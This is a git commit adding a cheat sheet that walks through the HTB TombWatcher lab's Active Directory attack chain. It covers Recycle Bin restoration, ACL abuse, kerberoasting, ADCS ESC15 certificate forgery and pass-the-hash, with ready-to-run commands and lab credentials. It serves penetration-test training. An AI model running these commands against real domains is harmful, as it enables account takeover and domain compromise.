daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

commit f09ff7596b9b8702c862d720ff1635b48f42a7da
parent 7dd3a0f7cbe1b9cb0828ce88360c6f5f5c2f93bf
Author: DAEMON <zer0sec.xp@icloud.com>
Date:   Sun, 20 Sep 2026 02:35:12 +0100

Add AD Recycle Bin enumeration cheat sheet (TombWatcher / ESC15)

New active-directory/ad-recycle-bin-tombwatcher.md: enumerate and restore
deleted AD objects natively (Get-ADObject -IncludeDeletedObjects, bloodyAD
show-deleted control), tell tombstoned copies apart by SID, and chain a
restored ADCS enrollee to ESC15 (CVE-2024-49019) - worked on HTB TombWatcher.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

Diffstat:
Asrc/content/sheets/active-directory/ad-recycle-bin-tombwatcher.md | 162+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
1 file changed, 162 insertions(+), 0 deletions(-)

diff --git a/src/content/sheets/active-directory/ad-recycle-bin-tombwatcher.md b/src/content/sheets/active-directory/ad-recycle-bin-tombwatcher.md @@ -0,0 +1,162 @@ +--- +title: "AD Recycle Bin Enumeration & Deleted-Object Recovery — TombWatcher" +description: "Find and restore deleted AD accounts from the Recycle Bin with native Get-ADObject / bloodyAD (not PowerView), tell tombstoned copies apart by SID, then chain a restored ADCS enrollee to ESC15 — the full HTB TombWatcher path." +category: active-directory +subcategory: "Tooling & Recon" +tags: [active-directory, recycle-bin, deleted-objects, tombstone, adcs, esc15, tombwatcher, bloodyad, certipy] +tools: ["Get-ADObject / Restore-ADObject", "bloodyAD", "Certipy", "rusthound-ce / BloodHound", "nxc"] +difficulty: advanced +updated: "2026-09-20" +source: "vault:05CPTS-Preperation/TombWatcher" +--- + +# AD Recycle Bin Enumeration & Deleted-Object Recovery — TombWatcher + +The AD Recycle Bin keeps deleted objects **restorable with their SID, group memberships and rights intact**. That makes a deleted account a real attack surface: an unresolved SID that still holds an ACL edge is the classic signature of an object waiting in the bin. This card is the **native way to enumerate and restore** those objects — `Get-ADObject -IncludeDeletedObjects` and `bloodyAD`, *not* PowerView — worked end to end on **HTB TombWatcher**, where a restored `cert_admin` account is the pivot into an ADCS **ESC15** escalation to Domain Admin. + +> [!warning] You do NOT need PowerView for the Recycle Bin +> The bin is readable with tooling already in place: `Get-ADObject -IncludeDeletedObjects` ships in the DC's built-in `ActiveDirectory` module, and `bloodyAD` reads it straight from Linux with the "show deleted" LDAP control. On TombWatcher, uploading PowerView to do this kept interfering with the working enumeration and added nothing. + +## The TombWatcher chain at a glance + +`henry` *(given)* → **WriteSPN** → `alfred` → **AddSelf** → `INFRASTRUCTURE` → **ReadGMSAPassword** → `ansible_dev$` → **ForceChangePassword** → `sam` → **WriteOwner** → `john` → **GenericAll over OU=ADCS** → **AD Recycle Bin: restore `cert_admin`** → **ADCS ESC15 (CVE-2024-49019)** → `Administrator` + +- Domain: `tombwatcher.htb` · DC: `DC01` (`10.129.232.167`, instance-specific — swap your own) +- Given creds: `henry : H3nry_987TGV!` (assume-breach; nothing on SMB shares → go to the graph) + +## 1 · Spot the deleted object (why look in the bin) + +Collect the graph as each newly-owned principal — owning `john` exposes edges the earlier identities could not see: + +```bash +rusthound-ce -c All -d tombwatcher.htb -u 'john@tombwatcher.htb' -p 'password' -o enum/ -z +``` + +`john` has **GenericAll over the `ADCS` OU** — control of everything inside it, *present or restored*. BloodHound then shows an **`Enroll` edge to the `WebServer` template from a raw SID with no name attached**. + +> [!tip] The tell +> An **unresolved SID that still holds rights** (an ACL/`Enroll` edge with no principal name) almost always means a **deleted object**. `GenericAll` over its OU means you can restore it and then own it. Go look in the Recycle Bin. + +## 2 · Enumerate the AD Recycle Bin + +**From Windows / WinRM (native module, on any DC):** pull `objectSid` and `lastKnownParent` so copies can be told apart. + +```powershell +Get-ADObject -Filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -IncludeDeletedObjects -Property objectSid,lastKnownParent +``` + +**From Linux (no upload, no shell) with bloodyAD** — `1.2.840.113556.1.4.2064` is the LDAP *Show Deleted Objects* control: + +```bash +bloodyAD -u john -d tombwatcher.htb -p ':8846f7eaee8fb117ad06bdd830b7586c' \ + --host 10.129.232.167 get search -c 1.2.840.113556.1.4.2064 \ + --filter '(isDeleted=TRUE)' --attr name,objectSid,lastKnownParent +``` + +**From Linux with ldapsearch** — same control by OID, add `!` to make it critical: + +```bash +ldapsearch -x -H ldap://10.129.232.167 -D 'john@tombwatcher.htb' -w 'password' \ + -b 'DC=tombwatcher,DC=htb' -E '!1.2.840.113556.1.4.2064' \ + '(isDeleted=TRUE)' name objectSid lastKnownParent msDS-LastKnownRDN +``` + +> [!info] Is the Recycle Bin even on? +> ```powershell +> Get-ADOptionalFeature -Filter "name -like 'Recycle Bin Feature'" | ft name,EnabledScopes +> ``` +> If `EnabledScopes` is populated the bin is enabled and objects restore with **all** attributes/links. If not, objects are *tombstones* — most attributes are stripped, but `objectSid`, `lastKnownParent` and `msDS-LastKnownRDN` still enumerate. + +## 3 · Tell the copies apart (the TombWatcher trap) + +TombWatcher seeds **three** deleted `cert_admin` users, all with `LastKnownParent : OU=ADCS`, differing only by RID: + +| Deleted object | objectSid (RID) | +|---|---| +| `cert_admin` (copy 1) | `…-2126982587-1109` | +| `cert_admin` (copy 2) | `…-2126982587-1110` | +| `cert_admin` (copy 3) | `…-2126982587-1111` ← has `Enroll` on `WebServer` | + +Only one copy holds the certificate rights. **Match the SID from the BloodHound `Enroll` edge** (the unresolved SID from step 1) to the right deleted copy — here the one ending in **`-1111`**. Restore the wrong RID and the enrollment right is not there. + +> [!tip] Fine-tune the match +> Cross-reference the raw SID in the BloodHound edge against the `objectSid` column from step 2. `msDS-LastKnownRDN` gives the old name, `lastKnownParent` gives the OU it will return to. Restore only the SID that carries the edge you want. + +## 4 · Restore and take over the account + +```bash +# restore the exact SID that owns the Enroll edge +bloodyAD -u john -d tombwatcher.htb -p 'password' --host 10.129.232.167 \ + set restore 'S-1-5-21-1392491010-1358638721-2126982587-1111' +# [+] S-1-5-21-...-1111 restored under CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htb +``` + +With `cert_admin` back in `OU=ADCS` and `john` holding **GenericAll over that OU**, take control of it — reset its password or shadow-credential it: + +```bash +certipy shadow auto -target dc01.tombwatcher.htb -u john -p password -account cert_admin +# or: bloodyAD -u john -d tombwatcher.htb -p 'password' --host 10.129.232.167 set password cert_admin 'password' +``` + +`cert_admin : password` — now enumerate ADCS as that principal. + +> [!note] PowerShell restore equivalent +> On a DC/WinRM session: `Restore-ADObject -Identity '<distinguishedName-with-\0ADEL:GUID>'` (get the DN from `Get-ADObject -IncludeDeletedObjects`). `bloodyAD set restore <SID>` is the Linux-side one-liner. + +## 5 · Payoff — ADCS ESC15 (CVE-2024-49019, "EKUwu") + +Enumerate templates as the restored enrollee: + +```bash +certipy find -target dc01.tombwatcher.htb -u cert_admin -p 'password' -vulnerable -stdout +# ESC15 : Enrollee supplies subject and schema version is 1. +``` + +`WebServer` is a **schema v1** template with *Enrollee Supplies Subject*; its EKU says Server Authentication only, but a v1 template does not lock the issued cert's **application policies**. Inject a **Client Authentication** policy at request time and spoof the Administrator UPN: + +```bash +certipy req -u cert_admin@tombwatcher.htb -p 'password' -dc-ip 10.129.232.167 \ + -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template WebServer \ + -upn administrator@tombwatcher.htb -application-policies 'Client Authentication' +# [*] Wrote certificate and private key to 'administrator.pfx' +``` + +Authenticate with the cert to pull the Administrator NT hash, then pass-the-hash: + +```bash +certipy auth -pfx administrator.pfx -username administrator -domain tombwatcher.htb -dc-ip 10.129.232.167 +# [*] Got hash for 'administrator@tombwatcher.htb': aad3b435...:f61db423... +nxc winrm 10.129.232.167 -u administrator -H f61db423bebe3328d33af26741afe5fc +``` + +> [!note] Enrolment-agent variant +> ESC15 also has a longer route: mint a Certificate Request Agent cert (`-application-policies '1.3.6.1.4.1.311.20.2.1'`) then enrol on behalf of Administrator against a client-auth template. The direct Client Authentication injection above is the shorter path. + +## 6 · The lead-in edges (how you reach `john`) + +Condensed — the ACL chain that gets you the identity that owns the OU: + +```bash +# WriteSPN -> targeted kerberoast alfred +certipy account update ... ; # (or bloodyAD set object alfred servicePrincipalName -v 'x/x') +python3 targetedKerberoast.py -v -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' --request-user alfred +hashcat -m 13100 alfred.tgs /usr/share/wordlists/rockyou.txt +# AddSelf -> INFRASTRUCTURE, then ReadGMSAPassword -> ansible_dev$ +bloodyAD -u alfred -d tombwatcher.htb -p '<pw>' --host 10.129.232.167 add groupMember INFRASTRUCTURE alfred +bloodyAD -u alfred -d tombwatcher.htb -p '<pw>' --host 10.129.232.167 get object 'ansible_dev$' --attr msDS-ManagedPassword +# ForceChangePassword -> sam ; WriteOwner -> john (own -> GenericAll -> reset) +bloodyAD -u ansible_dev\$ -d tombwatcher.htb -p ':<gmsa_nt>' --host 10.129.232.167 set password sam '<newpw>' +bloodyAD -u sam -d tombwatcher.htb -p '<pw>' --host 10.129.232.167 set owner john sam +bloodyAD -u sam -d tombwatcher.htb -p '<pw>' --host 10.129.232.167 add genericAll john sam +bloodyAD -u sam -d tombwatcher.htb -p '<pw>' --host 10.129.232.167 set password john '<newpw>' +``` + +## Takeaways + +> [!tip] Recycle-Bin habit +> - An **unresolved SID with an ACL/Enroll edge** = go look in the Recycle Bin. +> - Enumerate with `Get-ADObject -IncludeDeletedObjects` (Windows) or `bloodyAD ... -c 1.2.840.113556.1.4.2064 --filter '(isDeleted=TRUE)'` (Linux) — **not PowerView**. +> - When duplicates exist, **match `objectSid` to the edge's SID** before restoring; restoring the wrong RID wastes the attempt. +> - `GenericAll` over an OU covers **restored** objects too — restore, own, then use its rights (here, ADCS enrollment → ESC15). + +Related: [Active Directory Enumeration — Native Tooling](/sheets/active-directory/ad-enumeration-native).